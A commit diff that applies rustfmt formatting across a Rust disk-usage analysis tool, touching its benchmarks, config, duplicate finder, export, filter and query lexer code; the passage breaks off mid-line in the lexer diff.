Apply rustfmt to the crate

This commit is contained in:
Andy Dixon
2026-10-08 20:05:25 +01:00
parent b1fdb48c4b
commit a16c00671b
43 changed files with 3300 additions and 652 deletions
+25 -5
View File
@@ -25,25 +25,45 @@ fn bench<R>(name: &str, mut f: impl FnMut(u64) -> R) {
} }
fn main() { fn main() {
let items: Vec<Item> = (0..300).map(|i| Item { id: i, size: (1 + i * i) as f64 }).collect(); let items: Vec<Item> = (0..300)
let bounds = Rect { x: 0, y: 0, w: 200, h: 60 }; .map(|i| Item {
id: i,
size: (1 + i * i) as f64,
})
.collect();
let bounds = Rect {
x: 0,
y: 0,
w: 200,
h: 60,
};
bench("treemap/Squarify(300)", |_| { bench("treemap/Squarify(300)", |_| {
black_box(treemap::squarify(black_box(&items), bounds)); black_box(treemap::squarify(black_box(&items), bounds));
}); });
let blocks = treemap::squarify(&items, bounds); let blocks = treemap::squarify(&items, bounds);
bench("treemap/Neighbour(300)", |_| { bench("treemap/Neighbour(300)", |_| {
black_box(treemap::neighbour(black_box(&blocks), 150, Direction::Right)); black_box(treemap::neighbour(
black_box(&blocks),
150,
Direction::Right,
));
}); });
let t0 = Instant::now(); let t0 = Instant::now();
let tree = Arc::new(RwLock::new(big_tree())); let tree = Arc::new(RwLock::new(big_tree()));
println!("big tree: {} nodes built in {:.2?}", tree.read().unwrap().len(), t0.elapsed()); println!(
"big tree: {} nodes built in {:.2?}",
tree.read().unwrap().len(),
t0.elapsed()
);
let mut m = BenchModel::new(tree.clone(), 200, 60); let mut m = BenchModel::new(tree.clone(), 200, 60);
bench("tui/BigColdFrame", |_| m.cold_frame()); bench("tui/BigColdFrame", |_| m.cold_frame());
let mut m = BenchModel::new(tree.clone(), 200, 60); let mut m = BenchModel::new(tree.clone(), 200, 60);
m.cold_frame(); m.cold_frame();
bench("tui/BigResize", |i| m.resize(150 + (i % 100) as u16, 40 + (i % 30) as u16)); bench("tui/BigResize", |i| {
m.resize(150 + (i % 100) as u16, 40 + (i % 30) as u16)
});
let mut m = BenchModel::new(tree.clone(), 200, 60); let mut m = BenchModel::new(tree.clone(), 200, 60);
m.zoom_to_child_named(b"flat"); m.zoom_to_child_named(b"flat");
bench("tui/BigFlatDirCold", |_| m.cold_frame()); bench("tui/BigFlatDirCold", |_| m.cold_frame());
+92 -17
View File
@@ -37,16 +37,35 @@ pub struct Config {
impl Config { impl Config {
pub fn new(settings: Settings) -> Config { pub fn new(settings: Settings) -> Config {
Config { Config {
paths: Vec::new(), scan_opts: Default::default(), no_ui: false, json: false, csv: false, depth: -1, paths: Vec::new(),
top: 0, largest_files: 0, save: String::new(), load: String::new(), compare: None, duplicates: false, scan_opts: Default::default(),
read_only: false, theme: settings.theme.clone(), size_mode: SizeMode::Allocated, mouse: settings.mouse, no_ui: false,
color: "auto".into(), settings, json: false,
csv: false,
depth: -1,
top: 0,
largest_files: 0,
save: String::new(),
load: String::new(),
compare: None,
duplicates: false,
read_only: false,
theme: settings.theme.clone(),
size_mode: SizeMode::Allocated,
mouse: settings.mouse,
color: "auto".into(),
settings,
} }
} }
/// Whether any non-interactive output was requested. /// Whether any non-interactive output was requested.
pub fn report(&self) -> bool { pub fn report(&self) -> bool {
self.no_ui || self.json || self.csv || self.top > 0 || self.largest_files > 0 || self.duplicates self.no_ui
|| self.json
|| self.csv
|| self.top > 0
|| self.largest_files > 0
|| self.duplicates
} }
} }
@@ -63,9 +82,17 @@ pub fn run(cfg: Config) -> Result<(), Error> {
/// Begins a scan (or loads a snapshot). The scanner is None when the tree /// Begins a scan (or loads a snapshot). The scanner is None when the tree
/// came from a snapshot. /// came from a snapshot.
fn start_source(cancel: Cancel, load: &str, paths: &[String], opts: &scan::Options) -> Result<(Option<Scanner>, Arc<RwLock<Tree>>), Error> { fn start_source(
cancel: Cancel,
load: &str,
paths: &[String],
opts: &scan::Options,
) -> Result<(Option<Scanner>, Arc<RwLock<Tree>>), Error> {
if !load.is_empty() { if !load.is_empty() {
return Ok((None, Arc::new(RwLock::new(snapshot::load_file(Path::new(load))?)))); return Ok((
None,
Arc::new(RwLock::new(snapshot::load_file(Path::new(load))?)),
));
} }
let root = paths.first().map_or(".", |s| s.as_str()); let root = paths.first().map_or(".", |s| s.as_str());
let s = scan::start(root.as_bytes(), opts.clone(), cancel)?; let s = scan::start(root.as_bytes(), opts.clone(), cancel)?;
@@ -117,7 +144,12 @@ fn run_report(cfg: Config) -> Result<(), Error> {
} }
if cfg.largest_files > 0 { if cfg.largest_files > 0 {
let m = cfg.size_mode; let m = cfg.size_mode;
let ids = t.top(t.root(), cfg.largest_files, |n| n.kind == Kind::File && n.flags & FLAG_HARDLINK_DUP == 0, |n| n.own(m)); let ids = t.top(
t.root(),
cfg.largest_files,
|n| n.kind == Kind::File && n.flags & FLAG_HARDLINK_DUP == 0,
|n| n.own(m),
);
export::table(&mut out, &t, &ids, m)?; export::table(&mut out, &t, &ids, m)?;
writeln!(out)?; writeln!(out)?;
} }
@@ -162,8 +194,14 @@ fn wait_with_progress(s: &Scanner, cancel: &Cancel) {
fn run_tui(cfg: Config) -> Result<(), Error> { fn run_tui(cfg: Config) -> Result<(), Error> {
let (load, paths, opts) = (cfg.load.clone(), cfg.paths.clone(), cfg.scan_opts.clone()); let (load, paths, opts) = (cfg.load.clone(), cfg.paths.clone(), cfg.scan_opts.clone());
tui::run(tui::Options { tui::run(tui::Options {
read_only: cfg.read_only, theme: cfg.theme, size_mode: cfg.size_mode, mouse: cfg.mouse, color: cfg.color, read_only: cfg.read_only,
save: cfg.save, settings: cfg.settings, diff: None, theme: cfg.theme,
size_mode: cfg.size_mode,
mouse: cfg.mouse,
color: cfg.color,
save: cfg.save,
settings: cfg.settings,
diff: None,
start: Arc::new(move |c| start_source(c, &load, &paths, &opts)), start: Arc::new(move |c| start_source(c, &load, &paths, &opts)),
}) })
} }
@@ -176,8 +214,14 @@ fn run_compare(cfg: Config) -> Result<(), Error> {
if !cfg.report() { if !cfg.report() {
let tree = Arc::new(RwLock::new(nw)); let tree = Arc::new(RwLock::new(nw));
return tui::run(tui::Options { return tui::run(tui::Options {
read_only: true, theme: cfg.theme, size_mode: cfg.size_mode, mouse: cfg.mouse, color: cfg.color, read_only: true,
save: String::new(), settings: cfg.settings, diff: Some(d), theme: cfg.theme,
size_mode: cfg.size_mode,
mouse: cfg.mouse,
color: cfg.color,
save: String::new(),
settings: cfg.settings,
diff: Some(d),
start: Arc::new(move |_| Ok((None, tree.clone()))), start: Arc::new(move |_| Ok((None, tree.clone()))),
}); });
} }
@@ -185,23 +229,54 @@ fn run_compare(cfg: Config) -> Result<(), Error> {
let m = cfg.size_mode; let m = cfg.size_mode;
let mut out = std::io::stdout().lock(); let mut out = std::io::stdout().lock();
let (ro, rn) = (d.old.node(0), nw.node(0)); let (ro, rn) = (d.old.node(0), nw.node(0));
writeln!(out, "{} → {}", textutil::sanitize(&d.old.stats.from_snapshot), textutil::sanitize(&nw.stats.from_snapshot))?; writeln!(
writeln!(out, "Total {} → {} ({})\n", textutil::size(ro.total(m)), textutil::size(rn.total(m)), textutil::signed_size(rn.total(m) - ro.total(m)))?; out,
"{} → {}",
textutil::sanitize(&d.old.stats.from_snapshot),
textutil::sanitize(&nw.stats.from_snapshot)
)?;
writeln!(
out,
"Total {} → {} ({})\n",
textutil::size(ro.total(m)),
textutil::size(rn.total(m)),
textutil::signed_size(rn.total(m) - ro.total(m))
)?;
for c in d.changes(&nw, k, m) { for c in d.changes(&nw, k, m) {
writeln!(out, "{:<10} {:>14} {}", c.status.name(), textutil::signed_size(c.delta), textutil::sanitize(&c.path))?; writeln!(
out,
"{:<10} {:>14} {}",
c.status.name(),
textutil::signed_size(c.delta),
textutil::sanitize(&c.path)
)?;
} }
Ok(()) Ok(())
} }
fn run_duplicates(out: &mut dyn Write, cancel: &Cancel, tree: &RwLock<Tree>) -> Result<(), Error> { fn run_duplicates(out: &mut dyn Write, cancel: &Cancel, tree: &RwLock<Tree>) -> Result<(), Error> {
let f = duplicate::Finder::default(); let f = duplicate::Finder::default();
let groups = f.find(cancel, tree, duplicate::Options { min_size: 1, workers: 0 }).ok_or("cancelled")?; let groups = f
.find(
cancel,
tree,
duplicate::Options {
min_size: 1,
workers: 0,
},
)
.ok_or("cancelled")?;
let t = tree.read().unwrap(); let t = tree.read().unwrap();
let mut wasted = 0; let mut wasted = 0;
for g in &groups { for g in &groups {
wasted += g.wasted(); wasted += g.wasted();
let h: String = g.hash[..6].iter().map(|b| format!("{b:02x}")).collect(); let h: String = g.hash[..6].iter().map(|b| format!("{b:02x}")).collect();
writeln!(out, "{} × {} (sha256 {h}…)", textutil::size(g.size), g.files.len())?; writeln!(
out,
"{} × {} (sha256 {h}…)",
textutil::size(g.size),
g.files.len()
)?;
for &id in &g.files { for &id in &g.files {
writeln!(out, " {}", textutil::sanitize_bytes(&t.path_bytes(id)))?; writeln!(out, " {}", textutil::sanitize_bytes(&t.path_bytes(id)))?;
} }
+5 -1
View File
@@ -22,7 +22,11 @@ impl Default for Cancel {
impl Cancel { impl Cancel {
pub fn new() -> Cancel { pub fn new() -> Cancel {
let (tx, rx) = crossbeam_channel::bounded(0); let (tx, rx) = crossbeam_channel::bounded(0);
Cancel(Arc::new(Inner { flag: AtomicBool::new(false), tx: Mutex::new(Some(tx)), rx })) Cancel(Arc::new(Inner {
flag: AtomicBool::new(false),
tx: Mutex::new(Some(tx)),
rx,
}))
} }
pub fn cancel(&self) { pub fn cancel(&self) {
+8 -2
View File
@@ -46,7 +46,11 @@ impl Default for Settings {
/// The config file location. /// The config file location.
pub fn path() -> Option<PathBuf> { pub fn path() -> Option<PathBuf> {
let env = |k: &str| std::env::var_os(k).filter(|v| !v.is_empty()).map(PathBuf::from); let env = |k: &str| {
std::env::var_os(k)
.filter(|v| !v.is_empty())
.map(PathBuf::from)
};
let dir = if cfg!(target_os = "macos") { let dir = if cfg!(target_os = "macos") {
env("HOME")?.join("Library/Application Support") env("HOME")?.join("Library/Application Support")
} else { } else {
@@ -57,7 +61,9 @@ pub fn path() -> Option<PathBuf> {
/// Reads the config file if present. A missing file is not an error. /// Reads the config file if present. A missing file is not an error.
pub fn load() -> (Settings, Option<String>) { pub fn load() -> (Settings, Option<String>) {
let Some(p) = path() else { return (Settings::default(), None) }; let Some(p) = path() else {
return (Settings::default(), None);
};
let b = match std::fs::read(&p) { let b = match std::fs::read(&p) {
Ok(b) => b, Ok(b) => b,
Err(e) if e.kind() == std::io::ErrorKind::NotFound => return (Settings::default(), None), Err(e) if e.kind() == std::io::ErrorKind::NotFound => return (Settings::default(), None),
+55 -11
View File
@@ -104,7 +104,11 @@ impl Finder {
let mut by_size: HashMap<i64, Vec<Cand>> = HashMap::new(); let mut by_size: HashMap<i64, Vec<Cand>> = HashMap::new();
t.walk(t.root(), |id, n| { t.walk(t.root(), |id, n| {
if n.kind == Kind::File && !n.has(FLAG_HARDLINK_DUP) && n.size >= o.min_size { if n.kind == Kind::File && !n.has(FLAG_HARDLINK_DUP) && n.size >= o.min_size {
by_size.entry(n.size).or_default().push(Cand { id, path: PathBuf::new(), size: n.size }); by_size.entry(n.size).or_default().push(Cand {
id,
path: PathBuf::new(),
size: n.size,
});
} }
true true
}); });
@@ -133,11 +137,18 @@ impl Finder {
sampled.push(g); // a sample would be the whole file sampled.push(g); // a sample would be the whole file
continue; continue;
} }
sampled.extend(self.split(cancel, &g, o.workers, sample_hash).into_values().filter(|v| v.len() > 1)); sampled.extend(
self.split(cancel, &g, o.workers, sample_hash)
.into_values()
.filter(|v| v.len() > 1),
);
} }
// Stage 3: full hashes. // Stage 3: full hashes.
self.to_hash.store(sampled.iter().map(|g| g[0].size * g.len() as i64).sum(), Ordering::Relaxed); self.to_hash.store(
sampled.iter().map(|g| g[0].size * g.len() as i64).sum(),
Ordering::Relaxed,
);
self.stage("hashing", |_| {}); self.stage("hashing", |_| {});
let mut out = Vec::new(); let mut out = Vec::new();
for g in &sampled { for g in &sampled {
@@ -148,21 +159,35 @@ impl Finder {
if v.len() > 1 { if v.len() > 1 {
let mut files: Vec<NodeId> = v.iter().map(|c| c.id).collect(); let mut files: Vec<NodeId> = v.iter().map(|c| c.id).collect();
files.sort_unstable(); files.sort_unstable();
out.push(Group { size: v[0].size, hash, files }); out.push(Group {
size: v[0].size,
hash,
files,
});
} }
} }
} }
if cancel.is_cancelled() { if cancel.is_cancelled() {
return None; return None;
} }
out.sort_by(|a, b| b.wasted().cmp(&a.wasted()).then(a.files[0].cmp(&b.files[0]))); out.sort_by(|a, b| {
b.wasted()
.cmp(&a.wasted())
.then(a.files[0].cmp(&b.files[0]))
});
self.stage("done", |p| p.verified_groups = out.len() as i64); self.stage("done", |p| p.verified_groups = out.len() as i64);
Some(out) Some(out)
} }
/// Hashes every candidate with a bounded pool of reader threads and /// Hashes every candidate with a bounded pool of reader threads and
/// buckets the successes by hash. Stops starting new reads once cancelled. /// buckets the successes by hash. Stops starting new reads once cancelled.
fn split(&self, cancel: &Cancel, g: &[Cand], workers: usize, f: HashFn) -> HashMap<[u8; 32], Vec<Cand>> { fn split(
&self,
cancel: &Cancel,
g: &[Cand],
workers: usize,
f: HashFn,
) -> HashMap<[u8; 32], Vec<Cand>> {
let next = AtomicUsize::new(0); let next = AtomicUsize::new(0);
let results = Mutex::new(Vec::with_capacity(g.len())); let results = Mutex::new(Vec::with_capacity(g.len()));
std::thread::scope(|s| { std::thread::scope(|s| {
@@ -244,7 +269,15 @@ mod tests {
use std::time::Duration; use std::time::Duration;
fn scan(root: &Path, workers: usize) -> Arc<RwLock<Tree>> { fn scan(root: &Path, workers: usize) -> Arc<RwLock<Tree>> {
let s = scan::start(root.as_os_str().as_bytes(), scan::Options { workers, ..Default::default() }, Cancel::new()).unwrap(); let s = scan::start(
root.as_os_str().as_bytes(),
scan::Options {
workers,
..Default::default()
},
Cancel::new(),
)
.unwrap();
s.wait(); s.wait();
s.tree.clone() s.tree.clone()
} }
@@ -270,7 +303,11 @@ mod tests {
assert_eq!(groups.len(), 2); assert_eq!(groups.len(), 2);
let t = tree.read().unwrap(); let t = tree.read().unwrap();
let names = |g: &Group| { let names = |g: &Group| {
let mut v: Vec<String> = g.files.iter().map(|&id| t.node(id).name_str().into_owned()).collect(); let mut v: Vec<String> = g
.files
.iter()
.map(|&id| t.node(id).name_str().into_owned())
.collect();
v.sort(); v.sort();
v v
}; };
@@ -278,7 +315,10 @@ mod tests {
assert_eq!(groups[0].size, 200_000); assert_eq!(groups[0].size, 200_000);
assert_eq!(names(&groups[1]), ["small1", "small2"], "small group"); assert_eq!(names(&groups[1]), ["small1", "small2"], "small group");
let p = f.progress(); let p = f.progress();
assert!(p.candidates == 6 && p.verified_groups == 2, "progress {p:?}"); assert!(
p.candidates == 6 && p.verified_groups == 2,
"progress {p:?}"
);
} }
/// A candidate replaced by a FIFO (or a symlink to one) after the scan /// A candidate replaced by a FIFO (or a symlink to one) after the scan
@@ -308,8 +348,12 @@ mod tests {
let f = Arc::new(Finder::default()); let f = Arc::new(Finder::default());
let (tx, rx) = crossbeam_channel::bounded(1); let (tx, rx) = crossbeam_channel::bounded(1);
let (f2, t2) = (f.clone(), tree.clone()); let (f2, t2) = (f.clone(), tree.clone());
std::thread::spawn(move || tx.send(f2.find(&Cancel::new(), &t2, Options::default()).is_some())); std::thread::spawn(move || {
assert!(rx.recv_timeout(Duration::from_secs(5)).expect("duplicate search blocked on a FIFO")); tx.send(f2.find(&Cancel::new(), &t2, Options::default()).is_some())
});
assert!(rx
.recv_timeout(Duration::from_secs(5))
.expect("duplicate search blocked on a FIFO"));
assert_eq!(f.progress().skipped, 2); assert_eq!(f.progress().skipped, 2);
} }
} }
+119 -25
View File
@@ -8,17 +8,27 @@ use std::io::{self, Write};
use std::time::UNIX_EPOCH; use std::time::UNIX_EPOCH;
const FLAG_NAMES: [(Flags, &str); 12] = [ const FLAG_NAMES: [(Flags, &str); 12] = [
(inv::FLAG_HARDLINK_DUP, "hardlink-duplicate"), (inv::FLAG_MOUNT_POINT, "mount-point"), (inv::FLAG_HARDLINK_DUP, "hardlink-duplicate"),
(inv::FLAG_VIRTUAL_FS, "virtual-fs-skipped"), (inv::FLAG_SKIPPED_FS, "other-fs-skipped"), (inv::FLAG_MOUNT_POINT, "mount-point"),
(inv::FLAG_SPARSE, "sparse"), (inv::FLAG_ERROR, "error"), (inv::FLAG_INCOMPLETE, "incomplete"), (inv::FLAG_VIRTUAL_FS, "virtual-fs-skipped"),
(inv::FLAG_LOOP, "loop-skipped"), (inv::FLAG_FOLLOWED, "followed-symlink"), (inv::FLAG_SKIPPED_FS, "other-fs-skipped"),
(inv::FLAG_ALLOC_UNKNOWN, "allocated-unknown"), (inv::FLAG_BROKEN_LINK, "broken-symlink"), (inv::FLAG_SPARSE, "sparse"),
(inv::FLAG_ERROR, "error"),
(inv::FLAG_INCOMPLETE, "incomplete"),
(inv::FLAG_LOOP, "loop-skipped"),
(inv::FLAG_FOLLOWED, "followed-symlink"),
(inv::FLAG_ALLOC_UNKNOWN, "allocated-unknown"),
(inv::FLAG_BROKEN_LINK, "broken-symlink"),
(inv::FLAG_HARDLINKED, "hardlinked"), (inv::FLAG_HARDLINKED, "hardlinked"),
]; ];
/// Human-readable names for a node's flags. /// Human-readable names for a node's flags.
pub fn flag_list(f: Flags) -> Vec<&'static str> { pub fn flag_list(f: Flags) -> Vec<&'static str> {
FLAG_NAMES.iter().filter(|(b, _)| f & b != 0).map(|(_, n)| *n).collect() FLAG_NAMES
.iter()
.filter(|(b, _)| f & b != 0)
.map(|(_, n)| *n)
.collect()
} }
fn kind_name(k: Kind) -> &'static str { fn kind_name(k: Kind) -> &'static str {
@@ -41,7 +51,10 @@ pub fn json(w: &mut dyn Write, t: &Tree, root: NodeId, max_depth: i64) -> io::Re
.filter(|(_, &c)| c > 0) .filter(|(_, &c)| c > 0)
.map(|(k, &c)| (inv::ErrKind::from_u8(k as u8).name().to_string(), c.into())) .map(|(k, &c)| (inv::ErrKind::from_u8(k as u8).name().to_string(), c.into()))
.collect(); .collect();
let started = st.start.duration_since(UNIX_EPOCH).map_or(0, |d| d.as_nanos() as i64); let started = st
.start
.duration_since(UNIX_EPOCH)
.map_or(0, |d| d.as_nanos() as i64);
let head = serde_json::json!({ let head = serde_json::json!({
"generator": format!("{} {}", brand::NAME, brand::VERSION), "generator": format!("{} {}", brand::NAME, brand::VERSION),
"root": t.path_string(root), "root": t.path_string(root),
@@ -66,7 +79,14 @@ pub fn json(w: &mut dyn Write, t: &Tree, root: NodeId, max_depth: i64) -> io::Re
/// proportional to depth, not tree size. /// proportional to depth, not tree size.
fn write_node(bw: &mut impl Write, t: &Tree, id: NodeId, depth: i64) -> io::Result<()> { fn write_node(bw: &mut impl Write, t: &Tree, id: NodeId, depth: i64) -> io::Result<()> {
let n = t.node(id); let n = t.node(id);
write!(bw, "{{\"name\":{},\"type\":\"{}\",\"size\":{},\"allocated\":{}", json_str(&n.name_str()), kind_name(n.kind), n.tot_size, n.tot_alloc)?; write!(
bw,
"{{\"name\":{},\"type\":\"{}\",\"size\":{},\"allocated\":{}",
json_str(&n.name_str()),
kind_name(n.kind),
n.tot_size,
n.tot_alloc
)?;
for (k, v) in [("files", n.files), ("dirs", n.dirs), ("errors", n.errors)] { for (k, v) in [("files", n.files), ("dirs", n.dirs), ("errors", n.errors)] {
if v != 0 { if v != 0 {
write!(bw, ",\"{k}\":{v}")?; write!(bw, ",\"{k}\":{v}")?;
@@ -83,7 +103,11 @@ fn write_node(bw: &mut impl Write, t: &Tree, id: NodeId, depth: i64) -> io::Resu
return bw.write_all(b"}"); return bw.write_all(b"}");
} }
bw.write_all(b",\"children\":[")?; bw.write_all(b",\"children\":[")?;
for (i, c) in t.sorted_children(id, SizeMode::Allocated).into_iter().enumerate() { for (i, c) in t
.sorted_children(id, SizeMode::Allocated)
.into_iter()
.enumerate()
{
if i > 0 { if i > 0 {
bw.write_all(b",")?; bw.write_all(b",")?;
} }
@@ -107,20 +131,35 @@ pub fn csv(w: &mut dyn Write, t: &Tree, root: NodeId, max_depth: i64) -> io::Res
bw.write_all(b"path,type,size,allocated,files,dirs,errors,modified,flags\n")?; bw.write_all(b"path,type,size,allocated,files,dirs,errors,modified,flags\n")?;
fn rec(bw: &mut impl Write, t: &Tree, id: NodeId, path: &[u8], depth: i64) -> io::Result<()> { fn rec(bw: &mut impl Write, t: &Tree, id: NodeId, path: &[u8], depth: i64) -> io::Result<()> {
let n = t.node(id); let n = t.node(id);
let modified = if n.mtime != 0 { textutil::rfc3339_utc(n.mtime) } else { String::new() }; let modified = if n.mtime != 0 {
textutil::rfc3339_utc(n.mtime)
} else {
String::new()
};
writeln!( writeln!(
bw, bw,
"{},{},{},{},{},{},{},{},{}", "{},{},{},{},{},{},{},{},{}",
csv_field(&textutil::sanitize_bytes(path)), csv_field(&textutil::sanitize_bytes(path)),
kind_name(n.kind), kind_name(n.kind),
n.tot_size, n.tot_alloc, n.files, n.dirs, n.errors, modified, n.tot_size,
n.tot_alloc,
n.files,
n.dirs,
n.errors,
modified,
flag_list(n.flags).join("|") flag_list(n.flags).join("|")
)?; )?;
if depth == 0 { if depth == 0 {
return Ok(()); return Ok(());
} }
for c in t.sorted_children(id, SizeMode::Allocated) { for c in t.sorted_children(id, SizeMode::Allocated) {
rec(bw, t, c, &crate::platform::join_path(path, &t.node(c).name), depth - 1)?; rec(
bw,
t,
c,
&crate::platform::join_path(path, &t.node(c).name),
depth - 1,
)?;
} }
Ok(()) Ok(())
} }
@@ -134,7 +173,11 @@ pub fn table(w: &mut dyn Write, t: &Tree, ids: &[NodeId], m: SizeMode) -> io::Re
writeln!(w, "{:>12} {:>6} {:>12} PATH", "SIZE", "%", "FILES")?; writeln!(w, "{:>12} {:>6} {:>12} PATH", "SIZE", "%", "FILES")?;
for &id in ids { for &id in ids {
let n = t.node(id); let n = t.node(id);
let files = if n.is_dir() { textutil::count(n.files as i64) } else { String::new() }; let files = if n.is_dir() {
textutil::count(n.files as i64)
} else {
String::new()
};
writeln!( writeln!(
w, w,
"{:>12} {:>6} {:>12} {}", "{:>12} {:>6} {:>12} {}",
@@ -152,30 +195,65 @@ pub fn summary(w: &mut dyn Write, t: &Tree) -> io::Result<()> {
let st = &t.stats; let st = &t.stats;
let r = t.node(t.root()); let r = t.node(t.root());
writeln!(w, "Root {}", textutil::sanitize_bytes(&st.root))?; writeln!(w, "Root {}", textutil::sanitize_bytes(&st.root))?;
writeln!(w, "Files {}", textutil::count(st.files + st.symlinks + st.others))?; writeln!(
w,
"Files {}",
textutil::count(st.files + st.symlinks + st.others)
)?;
writeln!(w, "Directories {}", textutil::count(st.dirs))?; writeln!(w, "Directories {}", textutil::count(st.dirs))?;
writeln!(w, "Logical size {} ({} bytes)", textutil::size(r.tot_size), r.tot_size)?; writeln!(
writeln!(w, "Allocated size {} ({} bytes)", textutil::size(r.tot_alloc), r.tot_alloc)?; w,
"Logical size {} ({} bytes)",
textutil::size(r.tot_size),
r.tot_size
)?;
writeln!(
w,
"Allocated size {} ({} bytes)",
textutil::size(r.tot_alloc),
r.tot_alloc
)?;
writeln!(w, "Elapsed {}", textutil::go_duration(st.elapsed()))?; writeln!(w, "Elapsed {}", textutil::go_duration(st.elapsed()))?;
for (k, &c) in st.err_counts.iter().enumerate() { for (k, &c) in st.err_counts.iter().enumerate() {
if c > 0 { if c > 0 {
writeln!(w, "{:<15} {}", inv::ErrKind::from_u8(k as u8).name(), textutil::count(c))?; writeln!(
w,
"{:<15} {}",
inv::ErrKind::from_u8(k as u8).name(),
textutil::count(c)
)?;
} }
} }
if st.excluded > 0 { if st.excluded > 0 {
writeln!(w, "Excluded {} entries ({})", textutil::count(st.excluded), textutil::sanitize(&st.excludes.join(", ")))?; writeln!(
w,
"Excluded {} entries ({})",
textutil::count(st.excluded),
textutil::sanitize(&st.excludes.join(", "))
)?;
} }
if st.skipped_mounts > 0 { if st.skipped_mounts > 0 {
writeln!(w, "Other FS skipped {}", textutil::count(st.skipped_mounts))?; writeln!(w, "Other FS skipped {}", textutil::count(st.skipped_mounts))?;
} }
if st.virtual_skipped > 0 { if st.virtual_skipped > 0 {
writeln!(w, "Virtual FS skipped {}", textutil::count(st.virtual_skipped))?; writeln!(
w,
"Virtual FS skipped {}",
textutil::count(st.virtual_skipped)
)?;
} }
if st.hardlink_dups > 0 { if st.hardlink_dups > 0 {
writeln!(w, "Hard-link dups {} (counted once)", textutil::count(st.hardlink_dups))?; writeln!(
w,
"Hard-link dups {} (counted once)",
textutil::count(st.hardlink_dups)
)?;
} }
if st.incomplete() { if st.incomplete() {
writeln!(w, "WARNING: totals are incomplete — some data could not be inspected.")?; writeln!(
w,
"WARNING: totals are incomplete — some data could not be inspected."
)?;
} }
Ok(()) Ok(())
} }
@@ -199,11 +277,27 @@ mod tests {
fn outputs_are_terminal_safe() { fn outputs_are_terminal_safe() {
let t = hostile_tree(); let t = hostile_tree();
for out in [ for out in [
{ let mut b = Vec::new(); json(&mut b, &t, 0, -1).unwrap(); b }, {
{ let mut b = Vec::new(); csv(&mut b, &t, 0, -1).unwrap(); b }, let mut b = Vec::new();
{ let mut b = Vec::new(); table(&mut b, &t, &[1, 2], SizeMode::Allocated).unwrap(); b }, json(&mut b, &t, 0, -1).unwrap();
b
},
{
let mut b = Vec::new();
csv(&mut b, &t, 0, -1).unwrap();
b
},
{
let mut b = Vec::new();
table(&mut b, &t, &[1, 2], SizeMode::Allocated).unwrap();
b
},
] { ] {
assert!(!out.iter().any(|&c| c == 0x1b || c == 0x07), "{}", String::from_utf8_lossy(&out)); assert!(
!out.iter().any(|&c| c == 0x1b || c == 0x07),
"{}",
String::from_utf8_lossy(&out)
);
} }
let mut b = Vec::new(); let mut b = Vec::new();
json(&mut b, &t, 0, -1).unwrap(); json(&mut b, &t, 0, -1).unwrap();
+12 -2
View File
@@ -41,7 +41,9 @@ pub fn apply(cancel: &Cancel, t: &Tree, q: Arc<Query>, m: SizeMode) -> Option<Fi
let mut matched = vec![false; n]; let mut matched = vec![false; n];
let mut covered = vec![false; n]; let mut covered = vec![false; n];
let mut count = 0; let mut count = 0;
let now = SystemTime::now().duration_since(UNIX_EPOCH).map_or(0, |d| d.as_nanos() as i64); let now = SystemTime::now()
.duration_since(UNIX_EPOCH)
.map_or(0, |d| d.as_nanos() as i64);
let mut c = Ctx::new(t, 0, now); let mut c = Ctx::new(t, 0, now);
if q.uses_path { if q.uses_path {
c.dir_paths = Some(vec![String::new(); n]); c.dir_paths = Some(vec![String::new(); n]);
@@ -75,5 +77,13 @@ pub fn apply(cancel: &Cancel, t: &Tree, q: Arc<Query>, m: SizeMode) -> Option<Fi
sizes[p] = sizes[p].saturating_add(sizes[i]); sizes[p] = sizes[p].saturating_add(sizes[i]);
} }
let total = sizes.first().copied().unwrap_or(0); let total = sizes.first().copied().unwrap_or(0);
Some(FilterResult { query: q, mode: m, sizes, matched, count, total, elapsed: start.elapsed() }) Some(FilterResult {
query: q,
mode: m,
sizes,
matched,
count,
total,
elapsed: start.elapsed(),
})
} }
+18 -3
View File
@@ -32,7 +32,16 @@ fn push_lower(buf: &mut String, name: &[u8]) {
impl<'a> Ctx<'a> { impl<'a> Ctx<'a> {
pub fn new(tree: &'a Tree, id: NodeId, now: i64) -> Ctx<'a> { pub fn new(tree: &'a Tree, id: NodeId, now: i64) -> Ctx<'a> {
Ctx { tree, id, node: tree.node(id), now, path: String::new(), has_path: false, name: String::new(), dir_paths: None } Ctx {
tree,
id,
node: tree.node(id),
now,
path: String::new(),
has_path: false,
name: String::new(),
dir_paths: None,
}
} }
/// Moves the context to another node. /// Moves the context to another node.
@@ -82,7 +91,12 @@ impl<'a> Ctx<'a> {
pub(super) fn fill_path(&mut self) { pub(super) fn fill_path(&mut self) {
self.has_path = true; self.has_path = true;
self.path.clear(); self.path.clear();
if let Some(pp) = self.dir_paths.as_ref().and_then(|dp| dp.get(self.node.parent as usize)).filter(|p| !p.is_empty()) { if let Some(pp) = self
.dir_paths
.as_ref()
.and_then(|dp| dp.get(self.node.parent as usize))
.filter(|p| !p.is_empty())
{
self.path.push_str(pp); self.path.push_str(pp);
if !pp.ends_with('/') { if !pp.ends_with('/') {
self.path.push('/'); self.path.push('/');
@@ -90,7 +104,8 @@ impl<'a> Ctx<'a> {
push_lower(&mut self.path, &self.node.name); push_lower(&mut self.path, &self.node.name);
return; return;
} }
self.path.push_str(&self.tree.path_string(self.id).to_lowercase()); self.path
.push_str(&self.tree.path_string(self.id).to_lowercase());
} }
} }
+13 -3
View File
@@ -17,7 +17,11 @@ pub(super) struct Token {
} }
fn tok(kind: TokKind, val: &str, pos: usize) -> Token { fn tok(kind: TokKind, val: &str, pos: usize) -> Token {
Token { kind, val: val.to_string(), pos } Token {
kind,
val: val.to_string(),
pos,
}
} }
/// ASCII white space as Go's unicode.IsSpace sees it. /// ASCII white space as Go's unicode.IsSpace sees it.
@@ -64,12 +68,18 @@ pub(super) fn lex(s: &str) -> Result<Vec<Token>, String> {
} }
i += 1; i += 1;
// Only ASCII bytes were dropped, so v is still valid UTF-8. // Only ASCII bytes were dropped, so v is still valid UTF-8.
out.push(Token { kind: Str, val: String::from_utf8_lossy(&v).into_owned(), pos: start }); out.push(Token {
kind: Str,
val: String::from_utf8_lossy(&v).into_owned(),
pos: start,
});
} }
b'=' | b'!' | b'<' | b'>' | b'~' | b'&' | b'|' => { b'=' | b'!' | b'<' | b'>' | b'~' | b'&' | b'|' => {
let start = i; let start = i;
let n = b.get(i + 1).copied(); let n = b.get(i + 1).copied();
let two = n == Some(b'=') || (c == b'&' && n == Some(b'&')) || (c == b'|' && n == Some(b'|')); let two = n == Some(b'=')
